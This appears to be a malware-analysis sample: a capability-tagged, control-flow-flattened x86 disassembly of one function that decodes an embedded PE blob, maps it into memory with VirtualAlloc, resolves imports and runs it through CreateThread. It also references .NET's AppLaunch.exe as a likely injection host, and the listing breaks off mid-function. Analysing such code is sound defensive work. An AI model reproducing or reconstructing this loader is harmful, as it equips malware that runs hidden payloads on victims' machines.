Function at 0x401680
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c8
mov eax, dword [0x4a12c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
lea edx, [eax + 1]
imul edx, eax
mov eax, 0x277fcf22
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [ebp - 0x75]
cmp ecx, 0xa
setl byte [ebp - 0x76]
jmp 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0x3fa44476
mov esi, 0x24715617
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x24715617
sete al
cmove ecx, edi
cmp dword [0x4a33dc], 0xa
setl dl
cmovge ecx, esi
xor dl, al
cmovne ecx, edi
mov eax, ecx
nop dword [eax]
cmp eax, 0x35b5626
jle 0x401780
cmp eax, 0x3fe6ed42
jle 0x401800
cmp eax, 0x5e86e88b
jg 0x4018ff
cmp eax, 0x4ce9358b
jg 0x401a5e
cmp eax, 0x470586d1
jle 0x401de8
cmp eax, 0x4ba927c2
jg 0x40235d
cmp eax, 0x48c3decd
jle 0x402d7d
cmp eax, 0x48c3dece
je 0x403b0b
cmp eax, 0x4a0f245e
je 0x403b3c
cmp eax, 0x4ab2dc30
jne 0x401700
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x5c]
inc eax
mov dword [ecx], eax
mov eax, 0x304e3ddb
jmp 0x401700
cmp eax, 0xbf8064fd
jle 0x401880
cmp eax, 0xe73402ea
jg 0x401956
cmp eax, 0xcf4f15b8
jg 0x401aaa
cmp eax, 0xc822d06c
jle 0x401e32
cmp eax, 0xcbe75940
jg 0x4023d6
cmp eax, 0xc8a44b59
jle 0x402dc9
cmp eax, 0xc8a44b5a
je 0x403b5e
cmp eax, 0xc97aa7e9
je 0x403b79
cmp eax, 0xc9992f95
jne 0x401700
mov eax, dword [ebp - 0xac]
mov eax, 0xf2cc14aa
jmp 0x401700
cmp eax, 0x1d0cdbad
jg 0x4019ad
cmp eax, 0xca2d53d
jg 0x401b13
cmp eax, 0x84fe72e
jle 0x401eaf
cmp eax, 0xb197745
jg 0x402433
cmp eax, 0x8d262ba
jle 0x402e04
cmp eax, 0x8d262bb
je 0x403b99
cmp eax, 0x99caa84
je 0x403bae
cmp eax, 0xa086048
jne 0x401700
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x130]
mov esi, 0x8a24a109
mov edi, 0x62780c56
mov dword [eax], ecx
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
jmp 0x4051c2
cmp eax, 0xa28d20b9
jle 0x401a04
cmp eax, 0xb14047da
jg 0x401b79
cmp eax, 0xa972be0c
jle 0x401ef0
cmp eax, 0xaf90033a
jg 0x402486
cmp eax, 0xab6a3f6e
jle 0x402e24
cmp eax, 0xab6a3f6f
je 0x403bb8
cmp eax, 0xabbc940d
je 0x403bc5
cmp eax, 0xad8861b1
jne 0x401700
mov eax, dword [0x4a33e0]
mov esi, 0x31c7495b
mov ebx, 0x6bbbc3cc
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x6bbbc3cc
jmp 0x404f0f
cmp eax, 0x71a47daa
jg 0x401be2
cmp eax, 0x65838ecc
jle 0x401f34
cmp eax, 0x6dcac1f1
jg 0x4024cd
cmp eax, 0x6a8732b5
jle 0x402e6b
cmp eax, 0x6a8732b6
je 0x403bf8
cmp eax, 0x6bbbc3cc
je 0x403c27
cmp eax, 0x6bd6645d
jne 0x401700
mov eax, 0x82b70c26
jmp 0x401700
cmp eax, 0xf5b152fd
jg 0x401c43
cmp eax, 0xebb23987
jle 0x401f80
cmp eax, 0xef587bec
jg 0x402503
cmp eax, 0xecc992a0
jle 0x402e9a
cmp eax, 0xecc992a1
je 0x403c31
cmp eax, 0xee2fb266
je 0x403c3b
cmp eax, 0xee6c9847
jne 0x401700
mov eax, 0xcbe75941
jmp 0x401700
cmp eax, 0x302f0e31
jg 0x401c9b
cmp eax, 0x26a55b6b
jle 0x401fc1
cmp eax, 0x2afc37cb
jg 0x40253c
cmp eax, 0x28888baf
jle 0x402eba
cmp eax, 0x28888bb0
je 0x403c45
cmp eax, 0x2943a6c6
je 0x403c4f
cmp eax, 0x29577175
jne 0x401700
mov eax, 0xb0980d5b
jmp 0x401700
cmp eax, 0x8bc4f79c
jle 0x401ce7
cmp eax, 0x92f66cbb
jle 0x40202e
cmp eax, 0x9a25083c
jg 0x40258f
cmp eax, 0x962e78e3
jle 0x402eff
cmp eax, 0x962e78e4
je 0x403c59
cmp eax, 0x9696c2a4
je 0x403c6f
cmp eax, 0x995b6a2c
jne 0x401700
mov eax, dword [ebp - 0x34]
mov eax, 0xce9547d9
jmp 0x401700
cmp eax, 0x5536aa4b
jle 0x40208c
cmp eax, 0x5819322d
jg 0x4025cb
cmp eax, 0x5676d47c
jle 0x402f1f
cmp eax, 0x5676d47d
je 0x403c8a
cmp eax, 0x56d6eaf1
je 0x403ca9
cmp eax, 0x577c70fc
jne 0x401700
mov eax, 0x724ff428
jmp 0x401700
cmp eax, 0xd8c5d3a5
jle 0x4020d3
cmp eax, 0xe03e610a
jg 0x40263a
cmp eax, 0xdc0a7b48
jle 0x402f51
cmp eax, 0xdc0a7b49
je 0x403cdb
cmp eax, 0xde267744
je 0x403cf0
cmp eax, 0xdf30efc6
jne 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0x9281e522
mov esi, 0x64d5b9a0
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x64d5b9a0
jmp 0x4016e3
cmp eax, 0x15501f29
jle 0x40213c
cmp eax, 0x1a53f9b5
jg 0x402679
cmp eax, 0x179727a6
jle 0x402f82
cmp eax, 0x179727a7
je 0x403cfa
cmp eax, 0x17a88111
je 0x403d04
cmp eax, 0x18ee5154
jne 0x401700
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
mov eax, 0x2a81309
jmp 0x401700
cmp eax, 0xb6d6ff4d
jle 0x40217d
cmp eax, 0xbb614e86
jg 0x402712
cmp eax, 0xb7b1fa0b
jle 0x402fa2
cmp eax, 0xb7b1fa0c
je 0x403d37
cmp eax, 0xb8b55bdf
je 0x403d5f
cmp eax, 0xb9a2264c
jne 0x401700
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x28]
mov eax, 0x1b68033c
jmp 0x401700
cmp eax, 0x7757a0bb
jle 0x4021da
cmp eax, 0x7c67daf8
jg 0x402748
cmp eax, 0x79ccc26f
jle 0x402fe5
cmp eax, 0x79ccc270
je 0x403d69
cmp eax, 0x7a665243
je 0x403dab
cmp eax, 0x7a994d11
jne 0x401700
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xdfffffff
and ecx, eax
mov eax, 0x1a595423
mov dword [ebp - 0x1b8], ecx
jmp 0x401700
cmp eax, 0xfc54bf21
jle 0x40224b
cmp eax, 0xfee09df3
jg 0x40277e
cmp eax, 0xfd3642d3
jle 0x40301c
cmp eax, 0xfd3642d4
je 0x403db5
cmp eax, 0xfdafdb88
je 0x403dbf
cmp eax, 0xfdffa4c3
jne 0x401700
cmp byte [ebp - 0x7b], 0
mov eax, 0x7a6428a
mov ecx, 0x79ccc270
cmovne eax, ecx
jmp 0x401700
cmp eax, 0x36484d89
jle 0x40228c
cmp eax, 0x394d0074
jle 0x4027c5
cmp eax, 0x3d3938c9
jle 0x403045
cmp eax, 0x3d3938ca
je 0x403dcc
cmp eax, 0x3d45d69c
je 0x403e17
cmp eax, 0x3fa44476
jne 0x401700
mov eax, 0xe81ae6a0
jmp 0x401700
cmp eax, 0x8426d6eb
jg 0x4022ef
cmp eax, 0x828048b1
jle 0x402817
cmp eax, 0x82b70c25
jle 0x403065
cmp eax, 0x82b70c26
je 0x403e3b
cmp eax, 0x82f62390
je 0x403e5a
cmp eax, 0x8300dac6
jne 0x401700
mov eax, dword [ebp - 0xb4]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0xb4]
vmovups ymm0, ymmword [0x496e88]
vmovups ymm1, ymmword [0x496e70]
vmovups ymm2, ymmword [0x496e50]
mov dword [ecx], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xb8]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, 0x41e752da
jmp 0x401700
cmp eax, 0x421e2915
jle 0x402941
cmp eax, 0x43c1852c
jle 0x403096
cmp eax, 0x43c1852d
je 0x403e70
cmp eax, 0x43d7a9cf
je 0x403e86
cmp eax, 0x46707c20
jne 0x401700
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xc
mov eax, 0xca2d53e
jmp 0x401700
cmp eax, 0xc4112dc4
jle 0x402975
cmp eax, 0xc4997163
jle 0x4030c7
cmp eax, 0xc4997164
je 0x403e90
cmp eax, 0xc523155f
je 0x403eb3
cmp eax, 0xc6d5a650
jne 0x401700
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1cc]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0xc]
add eax, dword [ebp - 0x1c8]
push dword [ebp - 0xe8]
push dword [ebp - 0x1c0]
push dword [ebp - 0x1c4]
push eax
vzeroupper
call fcn.004013b0
add esp, 0x10
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4c]
mov eax, 0x962e78e4
jmp 0x401700
cmp eax, 0x6093862
jle 0x4029ef
cmp eax, 0x7ae4df3
jle 0x4030ed
cmp eax, 0x7ae4df4
je 0x403ec9
cmp eax, 0x8003706
je 0x403ee9
cmp eax, 0x84e04b6
jne 0x401700
mov eax, 0x828a2bb0
jmp 0x401700
cmp eax, 0xa464fb25
jle 0x402a1d
cmp eax, 0xa87268af
jle 0x403119
cmp eax, 0xa87268b0
je 0x403eff
cmp eax, 0xa89513b1
je 0x403f1a
cmp eax, 0xa8ac9ecc
jne 0x401700
mov eax, dword [ebp - 0x14]
mov eax, 0xc4112dc5
jmp 0x401700
cmp eax, 0x63a65772
jle 0x402a61
cmp eax, 0x64fb488c
jle 0x403157
cmp eax, 0x64fb488d
je 0x403f4d
cmp eax, 0x6509f98f
je 0x403f57
cmp eax, 0x6550be2f
jne 0x401700
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x140], eax
mov eax, 0x680221f0
jmp 0x401700
cmp eax, 0xe93cfa44
jle 0x402a8f
cmp eax, 0xeaec543b
jle 0x403177
cmp eax, 0xeaec543c
je 0x403f6c
cmp eax, 0xeb3016a1
je 0x403f9c
cmp eax, 0xeb537ca1
jne 0x401700
mov eax, 0xe24fb6c2
jmp 0x401700
cmp eax, 0x219ec694
jle 0x402acb
cmp eax, 0x24715616
jle 0x40319d
cmp eax, 0x24715617
je 0x403fc2
cmp eax, 0x2515bd22
je 0x403fcc
cmp eax, 0x2677fbee
jne 0x401700
mov eax, dword [ebp - 0x100]
movzx eax, word [eax]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xdc]
add eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x30]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov eax, 0x2ca62552
jmp 0x401700
cmp eax, 0x8fffa784
jle 0x402b34
cmp eax, 0x91cbe15a
jle 0x4031bd
cmp eax, 0x91cbe15b
je 0x403fdc
cmp eax, 0x9245299e
je 0x403fe6
cmp eax, 0x9281e522
jne 0x401700
mov eax, dword [0x4a33e0]
mov esi, 0x4ce9358c
mov ebx, 0x64d5b9a0
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x64d5b9a0
jmp 0x404f0f
cmp eax, 0x50b39356
jle 0x402b5f
cmp eax, 0x52ee5071
jle 0x4031fb
cmp eax, 0x52ee5072
je 0x40401f
cmp eax, 0x52f1ba8c
je 0x404029
cmp eax, 0x53dfc14b
jne 0x401700
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, 0x6dcac1f2
jmp 0x401700
cmp eax, 0xd66e618c
jle 0x402b96
cmp eax, 0xd7fdc70d
jle 0x40321b
cmp eax, 0xd7fdc70e
je 0x404042
cmp eax, 0xd84934fa
je 0x404068
cmp eax, 0xd86ad8a5
jne 0x401700
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0xc]
mov dword [ebp - 0x128], eax
mov eax, 0x394d0075
jmp 0x401700
cmp eax, 0xf25e7a4
jle 0x402bc1
cmp eax, 0x113762d7
jle 0x403244
cmp eax, 0x113762d8
je 0x4040a7
cmp eax, 0x12e93f9a
je 0x4040c0
cmp eax, 0x1323fe13
jne 0x401700
mov eax, 0xb643bed1
jmp 0x401700
cmp eax, 0xb36dc799
jle 0x402c09
cmp eax, 0xb41840b6
jle 0x403264
cmp eax, 0xb41840b7
je 0x4040d9
cmp eax, 0xb643bed1
je 0x4040e3
cmp eax, 0xb69d1286
jne 0x401700
mov eax, dword [ebp - 0x64]
push dword [ebp - 0x1a0]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x98]
mov dword [ecx], eax
mov eax, 0xb19a5594
jmp 0x401700
cmp eax, 0x727ccc4a
jle 0x402c5a
cmp eax, 0x7512b302
jle 0x40328a
cmp eax, 0x7512b303
je 0x4040fe
cmp eax, 0x75a83161
je 0x404114
cmp eax, 0x75d8ad8b
jne 0x401700
push 4
push 0x3000
push dword [ebp - 0x13c]
push dword [ebp - 0xf8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov ecx, 0xc97aa7e9
mov eax, dword [ebp - 0x54]
cmp dword [eax + 4], 0
mov eax, 0x56d6eaf1
cmove eax, ecx
jmp 0x401700
cmp eax, 0xf93c525a
jle 0x402c85
cmp eax, 0xf9f0f29d
jle 0x4032e1
cmp eax, 0xf9f0f29e
je 0x404147
cmp eax, 0xfa79d8c5
je 0x4041a4
cmp eax, 0xfa82de08
jne 0x401700
mov eax, 0x8061a6b3
jmp 0x401700
cmp eax, 0x32d1d20a
jle 0x402cd6
cmp eax, 0x357507d0
jle 0x403301
cmp eax, 0x357507d1
je 0x4041ca
cmp eax, 0x35a9f20f
je 0x4041e7
cmp eax, 0x35ac8c99
jne 0x401700
mov eax, dword [ebp - 0xa8]
mov eax, dword [0x4a33e0]
mov edi, 0x92f66cbc
mov esi, 0xb3a385c4
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xb3a385c4
jmp 0x4016e3
cmp eax, 0x88bffac3
jle 0x402d29
cmp eax, 0x8ae34307
jle 0x403349
cmp eax, 0x8ae34308
je 0x404207
cmp eax, 0x8ae37290
je 0x404248
cmp eax, 0x8ba9f866
jne 0x401700
mov eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x198]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, 0x35a9f20f
jmp 0x401700
cmp eax, 0x4c0ab239
jle 0x403374
cmp eax, 0x4c0ab23a
je 0x404255
cmp eax, 0x4c3df995
je 0x40427c
cmp eax, 0x4cc05e86
jne 0x401700
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0xcc]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xcc]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x54]
mov eax, 0xe93cfa45
jmp 0x401700
cmp eax, 0xcda53a1a
jle 0x4033c5
cmp eax, 0xcda53a1b
je 0x404298
cmp eax, 0xcdeb345e
je 0x4042be
cmp eax, 0xce9547d9
jne 0x401700
mov eax, dword [ebp - 0x34]
mov esi, 0x32d1d20b
mov edi, 0x995b6a2c
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x995b6a2c
jmp 0x404d27
cmp eax, 0xb91db57
jle 0x4033f1
cmp eax, 0xb91db58
je 0x4042d3
cmp eax, 0xbf95e40
je 0x4042e5
cmp eax, 0xc03f75b
jne 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0xc11d2746
mov esi, 0x8ae37290
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x8ae37290
jmp 0x4016e3
cmp eax, 0xb07a098f
jle 0x40342d
cmp eax, 0xb07a0990
je 0x4042fe
cmp eax, 0xb07e94e9
je 0x40440d
cmp eax, 0xb0980d5b
jne 0x401700
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
mov esi, 0x90ec7a5f
mov edi, 0xa89513b1
jmp 0x404d9e
cmp eax, 0x6ffd80e0
jle 0x403456
cmp eax, 0x6ffd80e1
je 0x404420
cmp eax, 0x713ae331
je 0x404438
cmp eax, 0x71a2ee8d
jne 0x401700
mov eax, 0x9cb80dad
jmp 0x401700
cmp eax, 0xf2cc14a9
jle 0x403492
cmp eax, 0xf2cc14aa
je 0x404448
cmp eax, 0xf34c0e47
je 0x40447b
cmp eax, 0xf506cc90
jne 0x401700
mov eax, dword [ebp - 0x20]
mov eax, 0x4ea69551
jmp 0x401700
cmp eax, 0x2e7c5074
jle 0x4034bb
cmp eax, 0x2e7c5075
je 0x404490
cmp eax, 0x2fc9965a
je 0x4044c4
cmp eax, 0x2fe44c07
jne 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0xa086048
mov esi, 0x8a24a109
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x8a24a109
jmp 0x4016e3
cmp eax, 0x9cb80dac
jle 0x403517
cmp eax, 0x9cb80dad
je 0x4044dd
cmp eax, 0x9f565eec
je 0x4044ea
cmp eax, 0xa191195b
jne 0x401700
mov eax, dword [ebp - 0x12c]
mov eax, 0xaa5661a1
jmp 0x401700
cmp eax, 0x5aab576f
jle 0x403555
cmp eax, 0x5aab5770
je 0x40451c
cmp eax, 0x5bf8c928
je 0x404526
cmp eax, 0x5c5cff59
jne 0x401700
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xd8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
cmp byte [eax], 0
mov eax, 0x7c67daf9
setne byte [ebp - 0x80]
jmp 0x401700
cmp eax, 0xe28bc27f
jle 0x4035ad
cmp eax, 0xe28bc280
je 0x404530
cmp eax, 0xe6632ad0
je 0x404545
cmp eax, 0xe6c68224
jne 0x401700
mov eax, dword [ebp - 0x1c]
mov dword [eax], 7
mov eax, 0xff018240
jmp 0x401700
cmp eax, 0x1a9e2b94
jle 0x4035cd
cmp eax, 0x1a9e2b95
je 0x40459b
cmp eax, 0x1ab4733e
je 0x4045b0
cmp eax, 0x1b68033c
jne 0x401700
mov eax, dword [ebp - 0x18]
mov esi, 0x71c30f08
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov edx, dword [0x4a33e0]
mov ecx, dword [0x4a33dc]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb9a2264c
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x28]
cmovge eax, edx
mov ecx, dword [ecx]
add ecx, 4
mov dword [ebp - 0x178], ecx
jmp 0x401700
cmp eax, 0xbcacfa4b
jle 0x4035f4
cmp eax, 0xbcacfa4c
je 0x4045de
cmp eax, 0xbccbbb63
je 0x4045e8
cmp eax, 0xbed9c9e8
jne 0x401700
mov eax, 0x71a2ee8d
jmp 0x401700
cmp eax, 0x7daa895e
jle 0x403614
cmp eax, 0x7daa895f
je 0x404648
cmp eax, 0x7e6b9112
je 0x404665
cmp eax, 0x7ef68abd
jne 0x401700
mov eax, 0xdf30efc6
jmp 0x401700
cmp eax, 0xffd9d0e5
jle 0x403663
cmp eax, 0xffd9d0e6
je 0x4046ab
cmp eax, 0x2a81309
je 0x4046b5
cmp eax, 0x2c9a326
jne 0x401700
mov eax, dword [ebp - 0x19c]
mov ecx, 0x7512b303
cmp dword [eax], 0
mov eax, 0x5819322e
cmove eax, ecx
jmp 0x401700
cmp eax, 0x36972872
jg 0x403691
cmp eax, 0x36893040
je 0x40470e
cmp eax, 0x368d9b43
jne 0x40525a
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov dword [ebp - 0x198], eax
mov eax, 0x8ba9f866
jmp 0x401700
cmp eax, 0x8092d094
jg 0x4036b1
cmp eax, 0x80472b8d
je 0x404738
cmp eax, 0x8061a6b3
jne 0x401700
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0x6c], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x84]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
push 0x3dc00
push 0x459230
push dword [ebp - 0xa8]
vzeroupper
call fcn.0043cf40
add esp, 0xc
push 0x3dc00
push dword [ebp - 0xa8]
call fcn.00401250
add esp, 8
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x134], eax
mov eax, 0x421e2916
jmp 0x401700
cmp eax, 0x41106a86
jg 0x4036df
cmp eax, 0x3fe6ed43
je 0x404772
cmp eax, 0x40115954
jne 0x401700
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0x20
mov eax, 0x91cbe15b
jmp 0x401700
cmp eax, 0xc1bb7d24
jg 0x40371e
cmp eax, 0xbf8064fe
je 0x404782
cmp eax, 0xc11d2746
jne 0x401700
mov edx, dword [0x4a33e0]
mov eax, dword [0x4a33dc]
mov esi, 0x8ae37290
mov edi, 0xb41840b7
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x24]
cmovge ecx, esi
mov eax, dword [eax]
mov edx, eax
xor edx, 0xbfffffff
and edx, eax
mov eax, ecx
mov dword [ebp - 0x12c], edx
jmp 0x401700
cmp eax, 0x4f30dbf
jg 0x40373e
cmp eax, 0x35b5627
je 0x404796
cmp eax, 0x3fd9c6d
jne 0x401700
mov eax, dword [ebp - 0x34]
mov eax, 0xfee09df4
jmp 0x401700
cmp eax, 0xa3d2a414
jg 0x4037a7
cmp eax, 0xa28d20ba
je 0x4047a0
cmp eax, 0xa38e8814
jne 0x401700
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov dword [ebp - 0x11c], eax
mov eax, 0x6093863
jmp 0x401700
cmp eax, 0x62780c55
jg 0x4037dc
cmp eax, 0x5e86e88c
je 0x4047ce
cmp eax, 0x60c22994
jne 0x401700
mov eax, dword [ebp - 0x1c]
mov eax, 0x48c3dece
jmp 0x401700
cmp eax, 0xe81ae69f
jg 0x403811
cmp eax, 0xe73402eb
je 0x40480c
cmp eax, 0xe815d022
jne 0x401700
mov eax, dword [ebp - 0xa4]
mov esi, 0xb197746
mov edi, 0x35b5627
mov dword [eax], 1
jmp 0x404b28
cmp eax, 0x1e65b172
jg 0x403831
cmp eax, 0x1d0cdbae
je 0x404816
cmp eax, 0x1e10d2c5
jne 0x401700
mov eax, dword [ebp - 0x14]
mov esi, 0xcd736adb
mov edi, 0x1d0cdbae
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x6c]
setne byte [eax]
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x6c]
cmp byte [eax], 0
mov eax, dword [0x4a33e0]
lea ecx, [eax + 1]
setne byte [ebp - 0x7f]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x1d0cdbae
jmp 0x404d27
cmp eax, 0x8f7a6b80
jg 0x403851
cmp eax, 0x8bc4f79d
je 0x40483b
cmp eax, 0x8ec4bf64
jne 0x401700
mov eax, 0xb91db58
jmp 0x401700
cmp eax, 0x4ea69550
jg 0x40387e
cmp eax, 0x4ce9358c
je 0x404890
cmp eax, 0x4dc53163
jne 0x401700
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x110]
mov eax, 0x1e65b173
jmp 0x401700
cmp eax, 0xd0b5644a
jg 0x4038c8
cmp eax, 0xcf4f15b9
je 0x40489a
cmp eax, 0xd002a74d
jne 0x401700
mov eax, 0x5e86e88c
jmp 0x401700
cmp eax, 0xea9923b
jg 0x40395a
cmp eax, 0xca2d53e
je 0x4048aa
cmp eax, 0xdeae5fc
jne 0x401700
mov eax, dword [0x4a33e0]
mov edi, 0x8bc4f79d
mov esi, 0xc44247ed
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
